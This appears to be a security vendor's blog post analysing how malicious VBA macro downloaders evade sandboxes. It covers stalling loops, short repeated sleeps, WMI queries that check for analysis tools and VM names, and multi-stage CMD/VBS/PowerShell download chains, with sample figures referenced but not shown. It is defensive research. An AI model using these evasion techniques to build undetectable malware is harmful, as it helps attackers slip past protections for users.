For each mechanism, we will show different tricks used by the attackers, to help the security community understand, and in turn, see through these evasions and enable them to protect users from these attacks. Furthermore, we will provide examples how the Lastline analysis sandbox is able to trigger the behavior and correctly classify the attacks launched by the malicious macro code.

Evasion Techniques: Part 1

In this first post of the series, we focus on evasion techniques that have been seen in binary programs for a while, and we show how they found their way into VBA downloaders. In two follow-up posts, we will dive into how these recent VBA downloaders interact with the system to identify if they are running on a real host that is worth attacking.

Stalling Code

Stalling code has long become a well-known evasion technique against dynamic analysis systems in binary programs - and we’re now seeing it also as part of VBA code. The idea is simple: stalling code is executed before any malicious behavior to delay any signs of badness long enough for an analysis system to terminate early, without seeing behavior used to correctly classify a program or file.

This stalling code is usually meaningless to the functionality of the code, such as futile loops, long arithmetical operations, or calls to sleep functions:

Stalling VBA code using  futile loops and long arithmetical operations

The analysis overview of the report generated by the Lastline analysis system shows that the system detects and bypasses this stalling code of the VBA-downloader:

Dealing with simple calls to sleep functions is handled successfully by most systems today. However, we also start to see more clever implementation variants of stalling code in macros that are not as straightforward, as we can see in the following examples.

Slow loops: The first example consists of a small loop iterating millions of times to perform a simple arithmetic operation. Since executing VBA code has a non-negligible overhead (when compared to natively executing code), this code can take a significant amount of time, delaying any subsequent malicious behavior just as in the example above:

Note that the outcome of the data computed in the loop is not important for the application to work correctly.

Fast sleeps: The second example also makes use of calls to a sleep function, but differently from the previous basic example, it does so in a loop and using very small amounts of time (milliseconds) to sleep. This can be used to bypass sandboxes that patch long sleep calls with shorter ones (to reduce the impact of these sleeps).

WMI-based System Fingerprinting

By providing access to the Windows Management Instrumentation (WMI), Microsoft offers a very powerful and incredibly easy-to-use interface to find information about the execution environment. VBA code can fingerprint the system with only a few lines of code, for example: 

Instances of ("Win32_ComputerSystem")

ExecQuery("Select * from Win32_Process")

Over recent months, we have observed a steep increase in the use of WMI in malicious document files. For example, some variants check for the presence of analysis tools or for virtual machines and refuse to work in such environments.

The VBA snippet shown above, for instance, queries for programs running on the system. Using this information, the evasive code can search for running programs whose names contain strings of analysis tools (such as “Fiddler" or “Wireshark”) or components of virtual machines (such as "KVM", "QEMU", "VIRTUAL", "VMWARE" or "XEN"):

Checking the presence of the analysis tools

Note that these strings are seldomly  stored in plain text inside the VBA code to avoid raising suspicion. Instead, they are decrypted as part of the code execution.

Clearly, the use of virtual environments is one of the most essential components of most analysis systems today. As a result, it has become imperative that these systems can either tamper with the outcome of such WMI calls or successfully hide the VM from the code under analysis. The Lastline solution uses a combination of both approaches: using a full-system emulator (FUSE), the analysis system has a powerful arsenal of tricks to avoid being detected. As a result, the Lastline analysis report shows how these evasion mechanisms are bypassed and that the final payload is executed, making correct classification possible ck:

Divide And Conquer: Distributing Malicious Functionality Over Multiple Components

Quite often, the malicious functionality of VBA downloaders is distributed into several components to make the analysis more complicated. For example, in one variant that we analyzed, the sample (consisting of more than 4000 highly obfuscated lines of VBA code) first dynamically generates a (rather long) batch command that is then invoked via CMD.EXE. This command, in turn, spawns a VBS file, which is responsible for downloading and running the payload:

Step 1: Building and spawning a command line using CMD.EXE

Step 2: Building and spawning a VBS script from Batch

Step 3: VBS downloader script

As shown in the figures above, each individual step is highly obfuscated to give an analysis system as little surface as possible for making a detection - making it imperative to fully execute the entire chain of events.

Another interesting variant we want to highlight here spawns a powershell instance for downloading and running a payload:

Summary

In this first post in a series on Comeback of VBA Downloaders, we show how evasion techniques that are well-known for binary programs have found their way into VBA. By combining these evasive tricks with code obfuscation, malware authors are provided with a simple, but powerful attack tool.

Using stalling code, system fingerprinting, and multi-step execution, these VBA samples are incredibly tricky to detect using standard analysis techniques. The Lastline analysis engine detects these threats and blocks them successfully, and our analysis environment stays undetected by these malware samples.

Learn how Lastline’s process snapshotting supports malware analysis by capturing snapshots at various points throughout a malware program’s execution, allowing for deeper manual malware analysis by security researchers.